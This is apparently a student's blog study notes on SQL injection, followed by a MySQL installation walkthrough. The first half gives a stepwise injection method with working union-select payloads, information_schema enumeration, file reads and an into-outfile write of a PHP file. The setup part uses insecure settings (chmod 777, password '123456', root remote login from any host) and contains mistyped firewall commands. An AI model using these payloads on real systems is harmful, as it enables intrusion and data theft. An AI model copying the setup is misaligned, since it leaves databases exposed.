20201321周慧琳

第十四章读书笔记

知识点归纳

问题和解决思路

SQL注入怎么实现?

基本流程

0)根据网站功能,猜测哪些地方可能存在注入(select insert注册 update delete)
1) 判断是否存在注入点;
and 1=1 考虑参数类型(闭合特殊符号,JSON)和提交方式post cookie
没有回显即盲注
2) 判断字段长度;order by
3)判断字段回显位置;union select 1,2,3;--+ union select ‘a,’b’,’c’;--+(有时候会过滤数字)
盲注
4) 判断数据库信息;
不是MySQL高版本就直接上sqlmap
Mongdb 用kali 的NoSQLAttack
version()版本;database()数据库;user()用户;
操作系统信息:@@version_compile_os
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root
5) 查找数据库名,表名,列名;group_concat(字段/列名)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
Information_schema 下面有三张表:
information_schema.schemata 爆出所有数据库名字
该表中的字段:
Schema_name 存储了MySQL所有数据库的名称

union select 1, group_concat(schema_name) 3,4 from information_schema.schemata;

Information_schema.tables 爆出某个数据库下的所有表的名字
该表中的字段:
table_schema标志当前表的数据库名
Table_name 标志当前表的名称

union select 1, group_concat(table_name) 3,4 from information_schema.tables where table_schema=database();

information_schema.columns 爆出某个数据库某个表下所有字段的名字
该表中的字段:
column_name 标志当前字段的名字
Table_name 标志当前字段所属表的名字
(跨库)Table_schema 标志当前字段所属表所属的数据库名字

union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#

union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g') and table_schema=’跨库’,3,4#

6)在某个数据库某个表中,查询字段下面的数据
-1' union select 1,(select skctf_flag from fl4g),3,4#
-1' union select 1,skctf_flag,3,4 from fl4g;--+

7) 查找数据库表中所有字段以及字段值;
8) 猜解账号密码;
9) 登陆管理员后台。
10) 有权限 读文件和写文件 写:secure_file_priv != NULL
读文件: union select 绝对路径 load_file(‘C:/flag.txt’); 查看网页源代码查看
写入文件:union select into outfile(‘C:/1.php’);

实践内容

mysql安装

  1. 去官网下载安装包
    解压文件
    tar -zxvf mysql-8.0.11-linux-glibc2.12-i686.tar.gz

  2. 移动压缩包到usr/local目录下,并重命名文件
    mv /root/mysql-8.0.11-linux-glibc2.12-i686 /usr/local/mysql

  3. 在MySQL根目录下新建一个文件夹data,用于存放数据
    mkdir data

  4. 创建 mysql 用户组和 mysql 用户
    groupadd mysql
    useradd -g mysql mysql

  5. 改变 mysql 目录权限
    chown -R mysql.mysql /usr/local/mysql/

  6. 初始化数据库
    创建mysql_install_db安装文件

mkdir mysql_install_db
chmod 777 ./mysql_install_db
  1. 初始化
bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data //初始化数据库

记录好自己的临时密码:twi=Tlsi<0O!

这里遇到了问题没有libnuma.so.1

需要安装 libnuma
yum install libnuma
yum -y install numactl
yum install libaio1 libaio-dev

  1. mysql配置
    cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
    修改my.cnf文件
    vim /etc/my.cnf
[mysqld]
    basedir = /usr/local/mysql   
    datadir = /usr/local/mysql/data
    socket = /usr/local/mysql/mysql.sock
    character-set-server=utf8
    port = 3306
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
[client]
    socket = /usr/local/mysql/mysql.sock
    default-character-set=utf8
  1. 建立MySQL服务
    cp -a ./support-files/mysql.server /etc/init.d/mysqld
    cp mysql.server /etc/init.d/mysql
    chmod +x /etc/init.d/mysql

  2. 添加到系统服务
    chkconfig --add mysql
    cp -a ./support-files/mysql.server /etc/init.d/mysqld
    chmod +x /etc/rc.d/init.d/mysqld
    chkconfig --add mysqld

  3. 检查服务是否生效
    chkconfig --list mysqld

  4. 配置全局环境变量
    vim /etc/profile
    export PATH=$PATH:/usr/local/mysql/bin:/usr/local/mysql/lib
    source /etc/profile

  5. 启动MySQL服务
    service mysql start

查看初始密码

cat /root/.mysql_secret

  1. 登录MySQL
    mysql -uroot -p密码

修改密码:

SET PASSWORD FOR 'root'@localhost=PASSWORD('123456'); #对应的换成你自己的密码即可了。

设置可以远程登录
mysql>use mysql
mysql>update user set host='%' where user='root' limit 1;
mysql>flush privileges;
然后检查3306端口是否开放
netstat -nupl|grep 3306

开放3306端口
firewall -cmd --permanent --add-prot=3306/tcp

重启防火墙
firewall -cmd --reload

数据库操作

显示数据库、创建数据库、删除数据库

使用数据库,创建表,显示表,描述表,删除表

增删改查,运行sql脚本


posted on 2022-11-17 08:18  20201321周慧琳  阅读(5)  评论(0编辑  收藏  举报